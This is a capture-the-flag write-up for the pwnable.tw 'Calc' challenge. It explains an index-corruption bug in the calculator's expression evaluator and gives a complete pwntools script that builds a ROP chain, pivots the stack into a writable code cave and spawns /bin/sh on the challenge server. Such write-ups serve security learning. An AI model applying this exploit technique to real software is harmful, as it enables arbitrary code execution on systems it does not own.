###### tags: `pwnable.tw` `pwn`
# Calc
**Learning Points:**
- Fuzz it a little...
- +0
- +10000000
- +++++
- 1+1*1-1
- ...
-
## Vulnerability:
The vulnerability lies in the `eval` function.

Looking at the example for `1+2`,

At `0xffffcfe8`, it is tracking which integer to use. This is not especially important for the vulnerability, but you may notice that number increasing if you do something like this `123+1*1+1*1+1*1`. This happens because the calc program tries to do the multiplication before the addition, and would have to keep track of which integer to use.
At `0xffffcfe8+4`, its the first integer `1`.
At `0xffffcfe8+8`, its the second integer `2`.
---
At `calc+134`, the result is preparing to be printed.

In this operation (`mov eax, DWORD PTR [ebp+eax*4-0x59c]`), `eax` is `*0xffffcfe8` which is the place that tracks which integer to use. In normal situations, it is going to be `1` and subtracted with `1` to get `0`. The **main vuln** happens when `*0xffffcfe8` is not `1`.
This can happen when we do something like this `+10000`. When this is done, we corrupt the place that tracks which integer to use. Looking at the eval IDA function above, specfically line 5-7:
```
if ( operation == '+' )
{
a1[*a1 - 1] += a1[*a1];
}
```
The result of the addition is written to a1[*a1-1]. In the event where we only supply `+10000`, `0xffffcfe8` is the place that track which integer to use. It will be the value of 1. While `0xffffcfe8+4` = `10000`, we will do our addition into `0xffffcfe8` and corrupt that pointer. This pointer is then used in printf later on, and you might be able to notice some form of memory leak.
## Exploitation:
Concept of exploitation is to write my rop gadgets into the function `calc`'s stack frame. Since `calc` only exits at `0x8049433` when we supply an invalid express, we can repeatedly write the stack value to make our stack before triggering the exit.
---
First we have to locate the stack address. Set a breakpoint at `calc+186`, the stack address at that point of time is `0xffffd58c`. This is at offset `+361`.
The way to do an arbitrary write is this:
1) Send `+361+1`
2) Look at the `initial value` at `*0xffffd58c`
3) The target value written = `initial value + 1`
Doing this, we will write `0x0804949a(0x08049499+1*4)` into `*0xffffd58c`. And if we supply an invalid expression of `aaaa` next, calc function will ret into what we control.
___
Once we figure that out, we will ROP our way to a shell. Sadly, this binary does not seem to have any libc loaded, which I dont know why. My exploitation technique is this:
1) Locate a code cave in the ELF that is writable. This can be done with running the command `vmmap` in gdb and locate a R/W area. In my case, I found this `0x80ecfc0`.
2) Set up stack as below:
```
stack layout ==
+0x00: read function (0x0806e6d0)
+0x04: stack pivot gadget (return address after read)
+0x08: 0
+0x0C: read destination (code cave)
+0x010: read size
```
3) My technique is to return into read and i will send the stage 2 gadgets. I feel this is easier than manually writing using the offset method above.
4) After read is done, I noticed that the address of the code cave is in register ecx. So the stack pivot gadget, I found a `mov esp, ecx ; ret ` gadget.
5) We successfully pivot our stack to the code cave. Now we can just do our normal rop.
## Solution:
```
from pwn import *
elf = ELF('./calc')
OFFSET_PUTS_PLT = elf.symbols['puts']
OFFSET_READ_PLT = elf.symbols['read']
print("OFFSET_READ_PLT = ", hex(OFFSET_READ_PLT))
#p = gdb.debug('./calc',
#'''
#break *calc+0xBA
#break *eval+0x64
#commands
#print("In addition")
#x/20wx $eax+$edx*4+0x4
#end
#break *eval+0x98
#commands
#print("In subtraction")
#x/20wx $eax+$edx*4+0x4
#end
#continue
#''')
#p = process('./calc')
p = remote('chall.pwnable.tw' ,10100)
p.recvuntil(b'calculator')
p.sendline(b"+361")
#At +361, address = 0x08049499
# Writes read address into return address
initialAddress = 0x08049499
readAddress = 0x0806e6d0
offset = readAddress - initialAddress
payload = "+361+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)
# Writes a code cave address
initialAddress = 0x25237
targetValue = 0x080bc913 #mov esp, ecx ; ret
offset = targetValue - initialAddress
payload = "+362+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)
################# CHECK THIS
# Writes read size
initialAddress = 0x080976dc
targetValue = 0
offset = initialAddress - targetValue
payload = "+363-" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)
# Writes read destination
initialAddress = 0x080976dc
targetValue = 0x80ecfc0
offset = targetValue - initialAddress
payload = "+364+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)
# Writes read size
initialAddress = 0x1
targetValue = 0x200
offset = targetValue - initialAddress
payload = "+365+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)
# This will terminate calc and return into our read
p.sendline(b"aaaa")
# Here we send our rop gadget
#p.recv()
ropGadgets = p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x080701d0) #pop edx ; pop ecx ; pop ebx ; ret
ropGadgets += p32(0x0)
ropGadgets += p32(0x0)
ropGadgets += p32(0x80ed008) #address of /bin/sh that is after the syscall
ropGadgets += p32(0x0805c34b) #pop eax ; ret
ropGadgets += p32(0xb)
ropGadgets += p32(0x0806dda3) #syscall taken from alarm
ropGadgets += b"/bin/sh\x00"
p.sendline(ropGadgets)
p.interactive()
'''
stack ==
+0x00: read function (0x0806e6d0)
+0x04: stack pivot gadget (return address after read)
+0x08: 0
+0x0C: read destination (code cave)
+0x010: read size
'''
```